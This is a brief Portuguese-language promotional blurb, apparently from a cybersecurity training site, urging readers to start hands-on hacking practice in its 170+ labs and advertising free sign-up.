Pronto para colocar isso em prática?

Pare de ler, comece a hackear. Ganhe experiência prática com mais de 170 labs de cibersegurança reais.

Comece a Hackear Grátis
16.000+ Hackers 100+ Labs & Cursos Grátis
Comece Grátis